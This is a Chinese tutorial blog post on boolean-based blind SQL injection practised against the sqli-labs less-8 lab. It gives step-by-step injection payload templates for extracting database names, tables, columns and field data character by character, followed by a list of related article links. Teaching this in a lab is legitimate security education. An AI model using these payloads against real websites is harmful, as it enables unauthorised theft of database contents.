布尔盲注

简介: 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

布尔盲注

简介

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

布尔盲注需要用到的函数

Length()    返回字符串的长度

Substr()    截取字符串

Ascii()      返回字符的ascii码

sleep(n)  将程序挂起一段时间 n为n秒

if(expr1,expr2,expr3)  判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

ascii字符代码表

image-20220713150502362.png

靶场利用

可以利用sqli-labs-master中的less-8

布尔盲注原理

通过页面是否报错来判断语句的正确性,利用函数的特性来得到数据

布尔盲注思路总结

substr(a,b,c) 其中a表示字符串,b表示从第几位开始截取(最小值为1),c表示截取几位

limt 0,1 表示从从第一个数据开始,截取第一个数据

查看是否存在注入点-->


判断注入类型-->


查看页面是否存在输出|是否存在报错提示-->


判断数据库名长度-->and length(database())>数字


得到数据库库名-->and ascii(substr(database(),1,1))=数字


判断表的数量-->and (select count(*) from information_schema.tables where table_schema='库名')>数字


依次判断表名的长度-->and (length((select table_name from information_schema.tables where table_schema='库名' limit 0,1)))>数字


依次得到表名-->and (ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)))=数字


判断表中字段个数-->and (select count(*) from information_schema.columns where table_name='表名' and table_schema='库名')>数字


依次判断表中字段名的长度-->and (length((select column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1)))>数字


依次判断表的字段名 --> and ascii(substr((select column_name from information_schema.columns where table_name='表名' and table——schema='库名' limit 0,1),1,1))=数字


依次判断字段中数据的长度-->and (length((select 字段名 from 表名 limit 0,1)))>数字


依次得到字段中的数据-->and ascii(substr((select 字段名 from 表名 limit 0,1 ),1,1)))=x

目录
相关文章
|
8月前
|
存储 编译器 C语言
【表达式求值】整型提升和算术转换
【表达式求值】整型提升和算术转换
57 0
|
8月前
|
数据库
15、延时布尔盲注(Post)
15、延时布尔盲注(Post)
53 0
|
7月前
|
Python
布尔值运算
【6月更文挑战第28天】布尔值运算。
41 2
|
8月前
|
编译器 测试技术 Go
表达式求值——隐式类型转换与操作符属性
表达式求值——隐式类型转换与操作符属性
|
8月前
|
SQL JSON 数据库
常见的sql注入类型闭合及符号
常见的sql注入类型闭合及符号
230 0
|
8月前
|
关系型数据库 MySQL 数据库
Mysql注入 -- 布尔注入
Mysql注入 -- 布尔注入
57 0
|
8月前
|
SQL 前端开发 Java
SQL注入天书笔记(1)布尔盲注
SQL注入天书笔记(1)布尔盲注
90 0
|
XML SQL 安全
[NPUCTF2020]ezlogin (xpath盲注)
[NPUCTF2020]ezlogin (xpath盲注)
189 0
隐式类型转换 算术转换 操作符的属性
隐式类型转换 算术转换 操作符的属性
62 0
|
存储 Unix 编译器
表达式求值过程中会发生哪些隐藏的变化?求值顺序又由什么决定?——详解C表达式求值中的隐式类型转换,算术转换问题,以及操作符的属性
表达式求值过程中会发生哪些隐藏的变化?求值顺序又由什么决定?——详解C表达式求值中的隐式类型转换,算术转换问题,以及操作符的属性
175 0

热门文章

最新文章